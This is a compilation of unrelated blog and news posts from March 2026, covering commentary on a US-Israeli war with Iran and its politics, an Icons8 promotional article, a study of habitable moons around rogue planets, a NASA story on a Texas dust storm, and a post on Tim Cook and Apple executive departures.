Israeli raids have killed another pair of Iranian leaders seen as important to any attempt to halt the U.S.-Israeli air raids meant to destabilize that country.

Those targeted included Ali Larijani, Iran’s top national security official, close adviser to the killed ayatollah and its de facto, most practically minded leader. As Iran experts tell us, if Donald Trump were to want to negotiate an end to this preemptive war, it was likely to involve working with Larijani, who apparently bridges many of Iran’s political divisions.

Also reported dead was Gholamreza Soleimani, the head of the Basij, Iran’s brutal plainclothes militia that is key to any hoped-for organized, popular uprising.

It seems that the continuing efforts to “decapitate” Iranian leadership are exposing some differences between the still nebulous goals sought by Trump or by Israeli Prime Minister Benjamin Netanyahu, and some increased concern about how any end to this Middle East conflict could come about.

Trump keeps repeating that he is seeking a “Delcy” character in Iran, referring to Delcy Rodriguez in Venezuela, to whom Trump has turned after grabbing former leader Nicolás Maduro, to keep that country running in cooperation with the White House view of the world. Larijani was not a senior Shiite cleric and could not succeed Ayatollah Ali Khamenei but had the supreme leader’s ear for policy and was the kind of figure Trump apparently wants as a more practical leader in Iran.

Still, it was Larijani who ordered brutal methods to stop Iranian protests, using Soleimani’s forces, and he apparently oversaw nuclear negotiations as well as plans for managing Iran during a potential war with the United States.

If the complexities of a war that Trump refuses to call a war mount by the day, the kept vow by Israel to kill any new leadership in Iran is certain only to make things more confusing.

Seeking Meaning

We understand what happened, but not what it means.

So, did Israel act alone in this assassination, or did Trump authorize killing another leader that he otherwise might want as a negotiating partner? Was Team Trump working behind the scenes to reach out to Larijani? Does the U.S. have anyone in Iran to talk with? Is anyone in charge here of anything beyond identifying more military targets to hit?

Even with the perspective of only three weeks, it is apparent that Trump thought this was another short-term military raid that would prove Iran so weak it would roll over to whatever demands he made. That’s not working. Iran is defiantly moving against shipping in the Strait of Hormuz, upsetting global oil supplies and prices, and unleashing proxies and cells to attack the U.S. as it sees fit, without organized military.

In combination with what looks to be a global shunning of cooperation to send ships to clear Gulf shipping lanes, Israel’s potentially divisive strategy to stir as much disruption as possible in Iran is further cornering Trump.

Trump neither orders the death of any emerging Iranian figure nor does he disown the action when Israel moves ahead. Indeed, Trump is silent or confusing about what our goals in this war are. Netanyahu sees only advantage in spreading war to Lebanon, the West Bank, and defanging Iran’s missile capabilities, and Trump is unclear about those developments as well.  We’re way beyond talk of nuclear weapons development in labs.

Apart from a war with fuzzy, changing goals, rocketing gas and oil prices are worsening domestic political problems for Trump. It’s obvious that striking Iran is proving to be a critical decision for Trump’s presidency.

The question is whether knocking off successive Iranian leadership leads to anything more than continued warfare.

A Key Resignation

Meanwhile, a key resignation in Washington over opposition to the war in Iran is drawing extra attention. Joe Kent, a former GOP congressional candidate and MAGA commentator who had been named by Trump to lead the National Counterterrorism Center, resigned in protest over the what he said was Israel’s successful lobbying of Trump to launch a war with no imminent threat.

As a major rebuke on the conflict from a member of his administration,  the issue was whether other departures would follow.


“FREEDOM OF THE PRESS IS NOT JUST IMPORTANT TO DEMOCRACY, IT IS DEMOCRACY.” – Walter Cronkite. CLICK HERE to donate in support of our free and independent voice.

The post Knocking Off Iranian Leaders appeared first on DCReport.org.

Scaling Visual Language Without Building In-House Icon Sets

Maintaining a consistent visual language across a growing product is a massive operational challenge. Design teams often start by drawing a custom set of vector assets to match their brand. This works perfectly for the first fifty elements. When the product scales to include complex settings menus, specialized document types, and edge-case error states, the design team becomes a bottleneck. Designers are forced to stop working on user experience flows just to draw a new biometric scanner or database symbol.

Icons8 solves this scaling problem by providing a library of over 1,476,100 assets distributed across more than 45 distinct visual styles. Teams can rely on these massive pre-built libraries rather than drawing and maintaining every single asset from scratch.

A Typical Sprint Workflow

I usually start my Tuesday reviewing tickets for upcoming feature sprints. Today, the requirement is a new file management dashboard. I need a standard folder, a shared folder, a deleted folder, and a locked folder.

Instead of opening Illustrator, I launch the Pichon Mac app. I type “folder” into the search bar and filter the results by the Windows 11 Outline style. I drag the standard folder directly onto my Figma canvas. The library does not have the exact locked folder variation I want in this specific style. I click on the standard folder to open the in-browser editor. I use the subicon feature to drop a small padlock shape over the bottom right corner of the folder. I adjust the stroke thickness to match, scale the padding, and recolor the entire combined asset to our brand’s primary HEX code. I download the customized SVG and drop it into my file. The entire process takes three minutes, and I move straight back to designing the actual user interface.

Workflow Scenarios: From Concept to Production

Different disciplines require completely different asset formats and delivery methods. Icons8 accommodates these requirements through specific collection and export features.

Cross-Platform Application Handoff

A UX team is building a new application that will launch simultaneously on iOS and Android. The platforms require different visual guidelines. Apple mandates strict iOS design guidelines, while Android relies on Material Design principles.

The designers create two separate Collections within Icons8. For the Apple version, they pull assets exclusively from the iOS 17 style pack, which contains over 30,000 items in Filled, Outlined, and Glyph variations. For the Android version, they source from the Material Outlined pack.

Once all the navigation elements are gathered in the Collections, the designers use the bulk recolor tool to apply the brand palette to both sets at once. They export the Collections. Instead of downloading dozens of loose files, they export the sets as individual SVG sprite sheets. The front-end developers receive two clean, organized files containing all the vector paths they need for both operating systems.

Building Interactive Marketing Materials

A marketing team is assembling a promotional landing page and a pitch deck for a new software release. Static images are not engaging enough for the landing page hero section.

The marketers search the library and apply the animated filter. They browse the 4,500 animated assets and select a cohesive set in the 3D Fluency style. For the web developers, they download the files in the Lottie JSON format. This ensures the animations will scale smoothly on high-resolution mobile devices without bloating the page load speed. For the pitch deck, they download the exact same assets in GIF format and drop them directly into their presentation slides. The visual style remains identical across the coded website and the sales deck.

Comparing the Market Alternatives

Finding the right icons for a project usually means choosing between open-source repositories and massive aggregator marketplaces. Both paths come with significant trade-offs.

Open-source packs like Feather or Heroicons provide exceptionally clean, well-constructed vectors at no cost. They are perfect for early-stage startups building basic interfaces. They completely fail on volume. Most open-source packs top out at a few hundred items. The moment your application requires a niche metaphor, you have to draw it yourself, defeating the purpose of using a pre-built library.

Marketplaces like Flaticon and the Noun Project solve the volume problem but introduce a consistency problem. These platforms aggregate submissions from thousands of independent authors. You might find twenty different database symbols, but they will all have different grid alignments, corner radii, and line weights. Mixing them makes an interface look fragmented and unprofessional.

Icons8 bridges this gap by utilizing an in-house design team to build massive style packs. A single style like iOS 17 contains tens of thousands of assets built on the exact same grid with the exact same rules.

Practical Tips for Maximizing the Library

Getting the most out of this platform requires looking past the basic search bar and utilizing the built-in technical tools.

  • Upload a screenshot of an existing asset into the image search tool to instantly find matching styles and modern equivalents.
  • Uncheck the default “simplified SVG” setting in the download menu if you plan to edit the vector paths later in software like Lunacy or Illustrator.
  • Generate properly sized web assets automatically by selecting the Favicon export option, which outputs customized files for desktop browsers, Safari Web Clips, and Android Chrome.
  • Submit requests for missing metaphors through the community board. The in-house team will produce the requested asset for free once it receives 8 community votes.

Limitations and when this tool is not the best choice

The free tier is highly restrictive. Free users are limited to rasterized PNG files capped at 100px in size. Using any asset on the free plan also requires adding a mandatory attribution link to your project. Accessing scalable vector formats like SVG and PDF, or downloading high-resolution PNGs up to 1600px, requires a paid Icons plan at $13.25 per month.

While the Popular, Logos, and Characters categories are available in all formats for free, commercial use of logos and characters requires explicit approval from the respective trademark owners.

The platform’s integrations have technical boundaries. You cannot use the Mega Creator tool or the Lunacy vector editor to modify any of the animated assets.

Finally, this product is not the right choice for brands that rely on a highly unconventional, bespoke illustrative identity. If your brand guidelines mandate a chaotic, hand-drawn aesthetic with specific brush strokes that cannot be matched by the 45 predefined visual styles, you will still need to hire an illustrator to build your library from scratch.

The post Scaling Visual Language Without Building In-House Icon Sets appeared first on DCReport.org.

Wednesday assorted links

1. Congestion pricing for WDC? It is good to see a move away from the selective invocation of economic reasoning, and recognition that some degree of congestion does not justify every tariff.

2. Zimbabwean Uber drivers in Cape Town.

3. Northern Mariana Islands fact of the day.

4. Advances in asteroid protection? (NYT)  And Jason Furman on today’s economy (NYT).

5. Benefits of a malaria vaccine.

6. New podcast on longevity biotech.

7. Anthropic recruiting for economic research positions.

8. W.H. Hutt on apartheid.

The post Wednesday assorted links appeared first on Marginal REVOLUTION.

       

Comments

 

Biology on a Rogue Planet’s Moon?

I don’t write science fiction, but I have several friends who think I do simply because I write about distant planets and futuristic ways to reach them. The boundary between SF and science has always fascinated me. I like to poke around in old magazines, most of them from the science fiction field, but a particular interest is magazines like Hugo Gernsback’s Science and Invention and Radio News, early 20th Century venues for fiction that dealt with science and preceded 1926’s Amazing Stories.

Astronomy and fiction have been mingling for a long time, but as we uncover startling exoplanets and posit theories that explain them, I’m usually wondering how quickly an SF writer will pick up on the latest work with a stunning new setting. Today’s paper offers another opportunity, as it presents the possibility that ‘rogue’ planets, wandering in the interstellar dark without a warming Sun, may support biology not on their surfaces but on any potential moons.

Image: Artist’s rendition of a Jupiter-sized rogue planet moving through interstellar space without any star. Scientists have been exploring the possibility of life on worlds warmed by internal heating alone. A new paper now looks at moons around such worlds and the processes that could keep them warm. Credit: JPL/Caltech.

Scientists involved with the German research network ORIGINS, working with researchers at the Max Planck Institute for Extraterrestrial Physics (near Munich) believe that large moons of free-floating planets can retain liquid water oceans for over 4 billion years because of the twin effects of dense hydrogen atmospheres and tidal heating. That closes in on the amount of time Earth has existed, with the obvious implication that complex life could develop.

Lead author David Dahlbüdding (Ludwig-Maximilians-Universitat Munchen) is lead author of the study:

“Our collaboration with the team of Professor Dieter Braun helped us recognize that the cradle of life does not necessarily require a sun. We discovered a clear connection between these distant moons and the early Earth, where high concentrations of hydrogen through asteroid impacts could have created the conditions for life.”

Recent work has shown that a gas giant ejected from its birth system could retain moons despite the gravitational encounter that would have forced it into interstellar space. Orbiting moons would be nudged into elliptical orbits by the event, but the resulting tidal forces between moon and planet are a blessing in disguise, in that they could generate enough frictional heat to maintain surface oceans. An atmosphere rich in hydrogen can also undergo ‘collision-induced absorption.’ in which thermal radiation is then retained by the atmosphere.

Earlier papers have examined rogue planet atmospheres heavy in CO2, where atmospheric collapse is a probability. But the researchers think hydrogen is far more interesting. From the paper:

The present-day Earth looks much different from the worlds presented here, which, with their thick hydrogen envelopes and possibly deep oceans, resemble a Hycean planet. Although usually in the sub-Neptune range, these worlds are prime candidates for the detection of life (Madhusudhan et al. 2021, 2023a,b). In their case, any tidal heating could conversely narrow the habitable zone (Livesey et al. 2025). Our small-scale Hycean worlds could provide relatively better conditions for life. Due to their (∼ 25%) lower gravity, high-pressure ices between a potential liquid water ocean and the rocky core would be less likely, allowing the ocean to receive essential nutrients (Cockell et al. 2024). Although, as Madhusudhan et al. (2023a) note, this represents only one possible source of these essential biological elements.

What to make of this? Extending the range of possible biology is always interesting, but the natural question is how we might actually observe such a system. Free-floating planets are a difficult enough catch without bringing potential moons into the mix. Gravitational microlensing offers a faint possibility, but here we’re dealing with chance encounters with background stars that are beyond our conceivable likelihood to predict. Although the authors mention transits of the host free-floating planet, this seems quite a reach. How do we know where to look, when their presence is unpredictable? The Roman Space Telescope should detect plenty of rogue planets, but the issue remains – a gravitationally microlensed event is by its nature unrepeatable.

I don’t want to downplay targeted searches for young rogue planets still throwing a good infrared signature in their adolescence. These we might actually detect through direct imaging if we scan nearby star clusters, so it’s not outside the realm of possibility to think we might get a rare transit of a moon. But the unlikeliness of such a detection means we may have to chalk this up as a fascinating theoretical result without observational consequences, at least at the present state of our technology.

Still, what an interesting landscape for a science fiction tale…

The paper is Dahlbüdding et al., “Habitability of Tidally Heated H2-Dominated Exomoons around Free-Floating Planets,” in process at Monthly Notices of the Royal Astronomical Society 24 February 2026 (full text).

Meta’s AI Glasses and Privacy

Surprising no one, Meta’s new AI glasses are a privacy disaster.

I’m not sure what can be done here. This is a technology that will exist, whether we like it or not.

Meanwhile, there is a new Android app that detects when there are smart glasses nearby.

Izembek

A landscape with lakes, tundra and distant snow-capped mountains under a cloudy sky.

What does true wilderness look like? A photographer captures a rare slice of it in this refuge threatened by development

- by Aeon Video

Watch on Aeon

The fuel shortages of the '70s were crazy. Will we be running on empty again?

Columnist Patt Morrison recalls the fuel crisis of the 1970s. With war in the Middle East, are gas shortages in our future?

International Comparison of Physician Incomes

We compare physician incomes using tax data from the United States, Canada, Sweden, and the Netherlands. Physicians are concentrated in the top percentiles of the income distribution in all four countries, especially in the United States and certain specialties. Physician incomes are highest in the United States, and a decomposition shows that this mainly reflects differences in overall income distributions, rather than physicians’ locations in those distributions. This suggests that broader labor market differences, and thus physicians’ outside options, drive absolute incomes. Shifting US physicians’ incomes to match relative positions in other countries’ distributions would only marginally reduce healthcare spending.

By Aidan Buehler, et.al., from a new NBER working paper.

The post International Comparison of Physician Incomes appeared first on Marginal REVOLUTION.

       

Comments

Related Stories

 

March 17, 2026

Yesterday, President Donald J. Trump continued to demand that other countries help the U.S. reopen the Strait of Hormuz for tanker traffic, but one by one, they declined. It is a dangerous business, and since Trump launched the war without consulting anyone, they don’t seem inclined to help him out of the mess he created. For his part, Trump has told reporters that “numerous countries” have told him “they’re on their way” to help enable ships to transit the strait, but he has also threatened to leave the North Atlantic Treaty Organization (NATO) over allies’ unwillingness to help clear the strait.

Trump has never articulated a clear reason for the war, but Israeli prime minister Benjamin Netanyahu and Israeli officials have opened another front in Lebanon, saying they intend to destroy the terror infrastructure there as they did in Gaza. So far, Israel’s recent operations in Lebanon have killed more than 850 people and displaced at least 800,000.

Thomas Grove, Milàn Czerny, and Benoit Faucon of the Wall Street Journal reported today that Russia has expanded its efforts to keep Iran in the fight against the U.S. and Israel, offering more intelligence sharing and military cooperation. Russia is providing drone components and satellite imagery that enables Iran to strike U.S. troops and radar systems. The reporters say that “Russia is trying to keep its closest Middle Eastern partner in the fight against U.S. and Israeli military might and prolong a war that is benefiting Russia militarily and economically.”

Meanwhile, Iran has been moving its own ships through the strait and appears to be willing to allow passage through for countries that are willing to negotiate with it. If that practice becomes widespread, prices on oil will ease, making it harder for Iran to keep up pressure on the U.S. and Israel.

Oil is now selling at more than $100 a barrel, up from about $70 a barrel before the U.S. and Israeli strikes on Iran that began on February 28, and gas prices have risen by at least $0.70 a gallon since then. As David Goldman of CNN reports, Iran’s ability to stop most traffic through the Strait of Hormuz threatens not just about 20% of the world’s oil supply as well as natural gas. About 20% of the world’s fertilizer also passes through the strait, which will affect crops for this year’s growing season. It will also limit helium—necessary for the cooling process when making silicon chips and cooling medical equipment—and aluminum.

Anna Kramer of NOTUS reported today that last fall the Trump administration cut all the State Department staffers from the Bureau of Energy Resources who were in charge of maintaining diplomatic contacts with foreign energy bureaus and Middle East gas and oil companies. Those laid off included the only expert in tracking sanctioned oil tankers, and the person in charge of coordinating with the international agency that manages releases of oil reserves around the world to address crises.

“There was never any handover or transition. There was no formal handover of contacts or anything like that. We were all just let go,” one former State Department energy official told Kramer. Those trying to work on energy issues with the U.S. government after their departure could not find any contacts.

Nine former members of the bureau told Kramer it seems clear the administration did not prepare for a global oil crisis. Trump’s claim that “nobody expected” Iran to hit other countries in the Middle East supports their statement because, as they told Kramer, previous administrations planned for exactly that scenario.

Judd Legum of Popular Information explained today that the administration decommissioned the last of its four minesweeper ships in September. Based in Bahrain, the vessels were equipped to find and destroy both moored and bottom mines. They were supposed to be replaced with new systems that use unmanned vehicles, but those have so far been unreliable, and the systems apparently have not been deployed. Legum points out that starting a military operation without anti-mining ships in the region to protect traffic through the Strait of Hormuz illustrates how poorly officials planned.

According to Aaron Rupar of Public Notice, Representative Eric Swalwell (D-CA) observed that Trump “has more plans for the ballroom he’s trying to build at the East Wing than anything he’s gonna do next in the Middle East.”

The fact that Trump’s allies in the White House are backing away from the war, talking to journalists like Politico’s Megan Messerly for a piece published today, suggests they see this conflict as a political disaster. Sources told Messerly they hoped the strikes would be quick, removing Iran’s leader much as Trump’s Venezuela strikes did in January. They said they thought Trump’s vagueness on objectives would let him declare victory whenever he wanted to.

Now, though, the sources told Messerly, they think Trump “no longer controls how, or when, the war ends.” One told her: “We clearly just kicked [Iran’s] ass in the field, but, to a large extent, they hold the cards now. They decide how long we’re involved—and they decide if we put boots on the ground. And it doesn’t seem to me that there’s a way around that, if we want to save face.” Another warned that officials in the White House “need to worry about an unraveling.”

The sense that Trump has dragged the U.S. into a war in the Middle East is splitting MAGA leadership. Isolationists who supported Trump’s claims of being “America First” and ending long foreign wars are turning on those supporting Trump’s Iranian incursion, and their attacks on social media have become deeply personal. They seem to be trying to hive their supporters off from Trump to coalesce around an even more extreme white nationalism that highlights antisemitism.

Today Joe Kent, a staunch Trump ally, resigned as director of the National Counterterrorism Center, saying that he supported “the values and the foreign policies” Trump had campaigned on but that he “cannot in good conscience support the ongoing war in Iran. Iran posed no imminent threat to our nation, and it is clear that we started this war due to pressure from Israel and its powerful American lobby.”

Although Kent is correct that U.S. intelligence assessed that Iran posed no imminent threat to the U.S., both the White House and House speaker Mike Johnson (R-LA) pushed back aggressively on Kent’s statements, trying to justify their Iran entanglement.

Johnson said, “We all understood that there was clearly an imminent threat that Iran was very close to the enrichment of nuclear capability and they were building missiles at a pace no one in the region could keep up with.” Trump seemed to try to blame former president Barack Obama for the crisis, telling reporters today that “if I didn’t terminate Obama’s horrible deal that he made…, you would have had a nuclear war four years ago. You would have had…nuclear holocaust, and you would have had it again if we didn’t bomb the site.”

Trump told reporters he thought Kent was a “nice guy” but “very weak on security,” and that he didn’t know Kent well.

Yesterday Trump told reporters that a former president told him, “I wish I did what you did” in attacking Iran. He added, “I don’t want to get into ‘who,’ I don’t want to get him into trouble,” although he said it wasn’t former president George W. Bush and also implied it was a Democrat. Chris Cameron of the New York Times reported that those close to all former Democratic presidents—Bill Clinton, Barack Obama, and Joseph R. Biden—deny that they said any such thing or that they have had any contact with Trump lately.

This morning, Trump posted on social media: “Because of the fact that we have had such Military Success, we no longer ‘need,’ or desire, the NATO Countries’ assistance—WE NEVER DID! Likewise, Japan, Australia, or South Korea. In fact, speaking as President of the United States of America, by far the Most Powerful Country Anywhere in the World, WE DO NOT NEED THE HELP OF ANYONE!”

Meanwhile, Trump appears to be attempting to remove the leadership of Cuba. Frances Robles, Edward Wong, and Annie Correal of the New York Times reported yesterday that U.S. officials want to force Cuban president Miguel Díaz-Canel from power but will leave the next steps up to the Cuban people. The reporters note such a move might enable Trump to declare a victory. The U.S. has cut off the oil that feeds Cuba’s energy grid, forcing it to collapse.

Yesterday, Trump told reporters: “I do believe I’ll be the honor of, having the honor of taking Cuba. That’d be good,” he said. “That’s a big honor. Taking Cuba, in some form, yeah, taking Cuba. I mean, whether I free it, take it. I think I could do anything I want with it, if you want to know the truth. They’re a very, uh, weakened nation right now.”

Trump’s team has blamed the media for what he insists are unfair reports about the Iran conflict. He has also gone after the Supreme Court, complaining on Sunday about its ruling that his tariffs were unconstitutional, but also complaining that the justices permitted Biden to be inaugurated, continuing to insist—in the face of all evidence to the contrary—that the 2020 presidential election was stolen. He insisted that “[t]his completely inept and embarrassing Court” is “hurting our Country, and will continue to do so. All I can do, as President, is call them out for their bad behavior!” Trump called the court “little more than a weaponized and unjust Political Organization.”

Trump’s pressure on the court over his claims of political weaponization and the 2020 presidential election seems designed to enlist their support for his claims that the 2026 election was rigged if voters choose Democratic majorities in the House and/or the Senate. Trump told House members in January that if the Republicans don’t retain control of the House, he will be impeached.

Trump and his loyalists insist that Congress must pass the Safeguard American Voter Eligibility (SAVE) America Act to prevent Democrats from stealing the 2026 election, with Trump posting on social media today: “The Save America Act is one of the most IMPORTANT & CONSEQUENTIAL pieces of legislation in the history of Congress, and America itself. NO MORE RIGGED ELECTIONS! Voter I.D., Proof of Citizenship, No Rigged Mail-In Voting….”

The Republicans won the House, the Senate, and the presidency in 2024, making it hard to argue that Republicans cannot win without new voting rules, but as G. Elliot Morris of Strength in Numbers noted today, since then Trump has lost the working-class white voters and Latino voters who put him in office. Republicans could woo them back but instead are trying to push voters off the rolls by demanding proof of citizenship to vote.

It is already illegal for noncitizens to vote in federal elections—such voting is vanishingly rare— and states, which run elections, already require ID. According to the Brennan Center for Justice and the University of Maryland’s Center for Democracy and Civic Engagement, Trump’s demand that voters provide proof of citizenship—a passport or a birth certificate and matching REAL ID—when registering to vote and again at the polls would cut as many as 21 million voters off the rolls.

To push the measure through the Senate, Republicans will have to kill the filibuster that requires 60 votes to move a bill forward from debate. Trump is demanding Senate majority leader John Thune (R-SD) make that change to Senate rules, but Thune and less-MAGA Republicans don’t want to. Republicans say they want to debate the measure so that Democrats will be forced to defend their objection to it, but already the fight seems to be shaping up as between Republicans eager to pass a voter suppression bill to support Trump, and those willing to protect voters as well as their own voices in the Senate.

Tonight the Senate voted to take up the measure.

Notes:

https://www.notus.org/trump-white-house/trump-doge-cuts-middle-eastern-oil-gas-crises

https://tradingeconomics.com/commodity/brent-crude-oil

Popular Information
Planning to fail
Shortly after the start of the war in Iran on February 28, Iran declared that the Strait of Hormuz — which is used to transport about 20% of the world’s oil — was closed. Since then, vessels near the strait have been struck by drones and other projectiles. Only a handful of non-Western tankers have safely made it through the sea passage…
Read more

https://www.pbs.org/newshour/show/as-israel-launches-lebanon-ground-operation-trump-asks-allies-to-help-reopen-oil-route

https://www.cnn.com/2026/03/17/business/price-increases-oil-food-aluminum-iran-war

https://www.the-independent.com/news/world/middle-east/oil-tankers-strait-of-hormuz-iran-war-trump-b2939504.html

https://apnews.com/live/iran-war-israel-trump-03-17-2026

https://apnews.com/live/iran-war-israel-trump-03-17-2026#0000019c-fc5c-dac0-ab9f-fe5e7bec0000

https://apnews.com/live/iran-war-israel-trump-03-17-2026#0000019c-fc7d-dd1d-adbd-fdff33ac0000

https://apnews.com/live/iran-war-israel-trump-03-17-2026#0000019c-fc93-d28e-a79d-fcf32ff50000

https://apnews.com/live/iran-war-israel-trump-03-17-2026#0000019c-fc91-d54a-afff-fcbbf52c0000

https://www.politico.com/news/2026/03/17/they-hold-the-cards-now-trump-allies-fear-iran-is-slipping-beyond-the-presidents-control-00830449

https://www.axios.com/2026/03/17/joe-kent-resigns-trump-iran-israel-threat

https://www.nytimes.com/2026/03/16/us/politics/trump-iran-presidents-democrats.html

https://www.nytimes.com/2026/03/16/world/americas/trump-cuba-president-diaz-canel.html

https://www.nytimes.com/2026/03/16/world/europe/europe-iran-war-trump-hormuz-warships.html

https://www.scientificamerican.com/article/iran-was-nowhere-close-to-a-nuclear-bomb-experts-say/

https://www.wsj.com/world/russia-is-sharing-satellite-imagery-and-drone-technology-with-iran-0dd95e49

https://www.armscontrol.org/issue-briefs/2026-03/did-irans-nuclear-and-missile-programs-pose-imminent-threat-no

Strength In Numbers
Trump has lost working-class whites
Since the U.S. launched a war against Iran on Feb. 28, 2026, the national average price of a gallon of gasoline has climbed from $2.93 to $3.72, according to AAA. That is the highest price in over a year, and a 27% increase compared to the same time last year. Americans are witnessing the largest month-to-month spike in gas prices we’ve seen in 30 years…
Read more

https://www.brennancenter.org/our-work/analysis-opinion/why-myth-noncitizen-voting-persists

https://www.reuters.com/world/us/trump-house-republicans-if-we-dont-win-midterms-i-will-get-impeached-2026-01-06/

https://www.cnbc.com/2026/03/17/save-america-act-voter-id-trump-senate.html

https://www.politico.com/live-updates/2026/03/17/congress/senate-launches-debate-on-trump-backed-elections-bill-00832602

https://www.pbs.org/newshour/world/israel-steps-up-bombing-in-lebanon-as-iran-keeps-stranglehold-on-shipping

Bluesky:

thesteadystate.org/post/3mhbhehhrnz2g

atrupar.com/post/3mhbbnstzz226

ronfilipkowski.bsky.social/post/3mhbf2hwxys2b

atrupar.com/post/3mhb4jdhi5q2z

atrupar.com/post/3mh7d5qmfou23

atrupar.com/post/3mh7flrcoxx2y

atrupar.com/post/3mh5hcpgjfk2o

atrupar.com/post/3mhbe3fnpys2p

rokhanna.bsky.social/post/3mhbhgumhqs2h

Share

Politics Chat, March 17, 2026

Wave of Dust Rolls Through Texas

A line of tan suspended dust stretches roughly northwest-to-southeast for over 100 miles across West Texas.
March 15, 2026

The Ides of March brought perilous weather to West Texas and the state’s Panhandle. A strong cold front blasted south across the arid plains on March 15, 2026, bringing stiff winds that stirred up a curtain of dust. The cloud of suspended particles slashed visibility and made for treacherous travel as it swept across the region. The high winds, coupled with dry conditions, also raised the risk of wildland fires.

The MODIS (Moderate Resolution Imaging Spectroradiometer) on NASA’s Aqua satellite captured this image of blowing dust on its march across Texas at about 4:45 p.m. Central Time (21:45 Universal Time) on March 15. An image acquired by the Terra satellite about 5 hours earlier shows the wall of dust when it was approximately 150 miles (240 kilometers) to the northeast.

Footage captured by a storm chaser shows visibility plummeting to nearly zero as the dense plume passed; similar conditions contributed to a multivehicle crash in North Texas. The National Weather Service also issued a Red Flag Warning for March 15 due to the combination of high winds, low relative humidity, and dry fuels. Several wildland fires ignited in the Panhandle, prompting evacuations, according to news reports.

Weather conditions took a sharp turn with the cold front’s passage. A weather station in Pecos recorded a high of 88 degrees Fahrenheit (31 degrees Celsius) at 4:30 p.m. local time on March 15, around the time of this image. Temperatures then dropped abruptly, hitting a low of 39ºF (4ºC) around 6 a.m. the next morning. Pecos saw sustained winds of about 25 miles (40 kilometers) per hour with gusts up to 40 miles (64 kilometers) per hour on March 15. Several stations in the Panhandle clocked gusts over 60 miles (97 kilometers) per hour. 

Much of northern and western Texas has been experiencing moderate or severe drought, according to the U.S. Drought Monitor. Though dust storms are typical in the region this time of year, the lack of rain parches vegetation, dries the land, and increases the area’s susceptibility to these events.

NASA Earth Observatory image by Michala Garrison, using MODIS data from NASA EOSDIS LANCE and GIBS/Worldview. Story by Lindsey Doermann.

References & Resources

You may also be interested in:

Stay up-to-date with the latest content from NASA as we explore the universe and discover more about our home planet.

Dust Outbreak Reaches Europe
3 min read

Clouds of dust lofted from the Sahara Desert brought hazy skies and muddy rain to Western Europe.

Article
Winds Whip Up Fires and Dust on the Southern Plains
3 min read

Dry, gusty conditions spurred fast-growing fires in Oklahoma and Kansas, along with dangerous dust storms across the region.

Article
Winter Grips the Michigan Mitten
3 min read

A blanket of snow spanned Michigan and much of the Great Lakes region following a potent cold snap.

Article

The post Wave of Dust Rolls Through Texas appeared first on NASA Science.

Some simple economics of AI?

AI lowers the cost of building businesses. But it raises the bar for sustaining advantage. More companies can start. Fewer can dominate.

That implies greater dispersion. More volatility. Less structural concentration. A market that rewards adaptability rather than mere size.

And it raises the question that follows logically from duration compression: if software moats erode faster, where does durable advantage reconcentrate? The answer may be in the places that resist compression, physical infrastructure, energy constraints, material bottlenecks, regulatory barriers. The assets that cannot be replicated with model access and API credits. The things that still require time.

Equity does not disappear in this world.

It transforms.

From ownership of stability to exposure to speed.

From franchises to call options.

And that is the structural shift beneath the surface panic, the real story unfolding in the Age of Agents.

Here is more from Jordi Visser.

The post Some simple economics of AI? appeared first on Marginal REVOLUTION.

       

Comments

Related Stories

 

★ Squashing

MacKenzie Sigalos, writing for CNBC, under the misleading headline “Tim Cook Squashes Retirement Rumors, Says He ‘Can’t Imagine Life Without Apple’”:

Asked about reports that he was preparing to step aside, Cook told ABC, “No, I didn’t say that. I haven’t said that. I love what I do deeply. Twenty-eight years ago, I walked into Apple, and I’ve loved every day of it since.”

He added that he “can’t imagine life without Apple.”

The Good Morning America interview was with Michael Strahan, in a five-minute segment for the show. Strahan actually did a decent job. He asked Cook if Apple expects to be reimbursed for the $3+ billion dollars they spent on Trump’s tariffs last year, now that the Supreme Court has ruled them invalid. (Cook says they’re waiting to see what the courts say about getting that money back.) Strahan then asked a pretty pointed question about Cook’s high-profile appearances alongside Trump — attending the inauguration (Strahan didn’t mention that Cook paid Trump $1 million for the honor to attend), the 24-karat-gold Apple-logo trophy, attending the White House premiere of Melania. Cook answered by saying he’s not political and only cares about policy, which makes sense only if you believe government policy decisions aren’t political — which is to say it makes no sense. But Strahan asked, and Cook’s answer speaks for itself.

But to the point of Sigalos’s report on the interview for CNBC, Cook didn’t “squash” anything related to his tenure at Apple in that interview. Watch for yourself. Cook correctly points out that he himself has never said anything (in public, at least) about being tired or wanting to “step back a little bit”, as Strahan claimed he had read. But Cook does not refute that he might soon step aside as CEO, nor does he say he intends to remain CEO for the foreseeable future. It’s an incredibly deft non-answer that would remain true if Cook steps down as CEO in two weeks, on April 1 (Apple’s anniversary), and would remain true if he’s still CEO five years from now. (The “can’t imagine life without Apple” comment would fit like a glove if, say, he steps aside as CEO but becomes executive chairman of the board.)

This headline is journalistic malpractice from CNBC.

The rest of Sigalos’s report is even worse:

The comments come after a turbulent stretch for Apple’s C-suite. In December, the company lost AI chief John Giannandrea, its top lawyer and a key design executive in a single week — while chip guru Johny Srouji reportedly signaled he might leave, too.

The departures raised pointed questions about whether Cook’s operational leadership style is the right fit for the artificial intelligence era.

Where to even start with this? Jiminy.

Giannandrea was shown the door after he blew it with Apple Intelligence. Cook took Giannandrea’s responsibilities away almost a year ago, weeks after the company’s embarrassing admission that next-generation Siri would be delayed by at least a full year. The December news was that Giannandrea was officially “retiring”, but that was just Cook allowing him as graceful and dignified an exit as possible. He was effectively fired back in April or May.

Kate Adams, Apple’s general counsel, just plain old retired in December after a successful nine-year stint in the role. Lisa Jackson announced her retirement as VP of environment, policy, and social initiatives, alongside Adams. Zero drama around either of their departures — just, for Apple, coincidentally bad timing.

The Alan Dye leaving for Meta thing, that was unexpected, and, to some degree, turbulent. But I have yet to speak to a single person within Apple, nor a single UI designer outside Apple, who thinks it’s anything but good news for Apple that Dye jumped ship for Meta. Not just that Dye is a fraud of a UI designer. Not just that he and his inner circle have vandalized MacOS, the crown jewel of human-computer interaction. Not just that he and his team are given — or have taken — credit for innovative, high-quality work on VisionOS that really belongs to the interaction team Mike Rockwell put together for VisionOS. Not just that Dye left Apple for a rival company, period — something unheard of amongst Apple’s bleed-in-six-colors executive ranks. But that he left for Meta, of all fucking companies? That’s the proof that Dye (and his urban cowboy magazine-designer cohort) never belonged at Apple in the first place.

And then there’s the Srouji thing, which was reported only once, by Mark Gurman at Bloomberg, and then effectively retracted two days later after Srouji shot it down with a meant-to-leak memo to his staff. My own reporting, talking to several sources close to and in some cases within Apple’s executive ranks, is that there is no truth to Gurman’s Bloomberg report that Srouji threatened Tim Cook that he was considering leaving Apple for a competitor.

